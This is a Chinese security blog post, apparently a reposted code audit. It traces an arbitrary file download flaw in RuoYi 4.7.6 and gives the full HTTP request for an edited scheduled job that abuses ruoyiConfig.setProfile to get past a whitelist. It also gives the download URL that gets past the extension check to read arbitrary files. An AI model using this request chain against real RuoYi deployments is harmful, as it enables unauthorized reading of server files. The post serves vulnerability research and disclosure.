若依 4.7.6 版本 任意文件下载漏洞(代码审计)

admin 2023年5月16日08:24:07评论271 views字数 2039阅读6分47秒阅读模式


0x01 步骤

1.新增定时任务2.执行定时任务3.调用下载文件接口

简单复现 debug跟进下 勿喷 不详细 勿喷 佬们 

0x02 定时任务

    

首先创建定时任务

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

POST /monitor/job/edit HTTP/1.1Host: 192.168.31.28Content-Length: 235Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5630.205 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.31.28Referer: http://192.168.31.28/monitor/job/edit/1Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9Cookie: JSESSIONID=a650d1b5-f3db-482b-9e8b-8f94074d2828dnt: 1Connection: close
jobId=1&updateBy=admin&jobName=%E7%B3%BB%E7%BB%9F%E9%BB%98%E8%AE%A4%EF%BC%88%E6%97%A0%E5%8F%82%EF%BC%89&jobGroup=DEFAULT&invokeTarget=ruoyiConfig.setProfile('/Users/macpro/Desktop/123.txt)&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=3&concurrent=1&status=0&remark=


0x02-01 代码跟进    

monitor/job/edit 接口

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

可以看到 如上代码都绕过了 进入whiteList,检查包名是否为白名单配置

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

跟进StringUtils.containsAnyIgnoreCase(obj.getClass().getPackage().getName(), Constants.JOB_WHITELIST_STR)

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

原来这里检查的是 ruoyiConfig的包名是否存在顶级包名 com.ruoyi,成功绕过 返回为true,将数据保存到数据库中。

若依 4.7.6 版本 任意文件下载漏洞(代码审计)


0x03 执行定时任务

 

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

接口 monitor/job/run


0x03-01 代码跟进

 
进入serviceimpl 

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

查看通过jobId查询到 刚刚保存到数据的数据了 主要看 这里有个  scheduler.triggerJob(jobKey, dataMap);方法 

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

跟进到 QuartzScheduler 具体去创建的 Quartz 触发器对象

newTrigger():创建一个新的触发器对象。withIdentity(newTriggerId(), Scheduler.DEFAULT_GROUP):指定触发器的 IDGroup(组)。forJob(jobKey):指定触发器要绑定的 Job(任务)。build():创建并返回新的触发器对象。这里使用了 OperableTrigger 类型的对象来接收返回的触发器对象,该类是 Quartz 触发器的一个实现类,它可以操作和控制触发器的执行行为。jobKey 是一个 JobKey 类型的参数,代表了要关联的任务的标识和组名。综合来说,这行代码的意义是创建一个新的 Quartz 触发器对象,并将它绑定到指定的任务上,以便在需要执行该任务时触发它。
最后 通知 Quartz Scheduler 的线程,在触发器的下一次触发时间到达时运行任务。通知 Quartz Scheduler 监听器,触发器已创建

0x04 执行任意文件下载

首先这里 ruoyiConfig.setProfile('/Users/macpro/Desktop/123.txt)修改的就是 配置文件中的 通过定时任务创建的触发器去执行 修改 内存中的profile值

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

访问 http://192.168.31.28/common/download/resource?resource=jbruoyi:.png


0x04-01 代码跟进


接口 common/download/resource

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

跟进 checkAllowDownload

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

可以看到 检查我们的文件 是否在白名单中存在 

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

获取文件类型 可以看到 获取的是最后一个点后的 类型 正好存在于白名单中 这样就绕过了 检测

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

这一步就是刚刚在定时任务里修改的值的地址 

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

最终就是读取文件目录 然后 下载到本地

若依 4.7.6 版本 任意文件下载漏洞(代码审计)

原文始发于微信公众号(红蓝攻防实验室):若依 4.7.6 版本 任意文件下载漏洞(代码审计)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日08:24:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   若依 4.7.6 版本 任意文件下载漏洞(代码审计)http://cn-sec.com/archives/1710800.html

发表评论

匿名网友 填写信息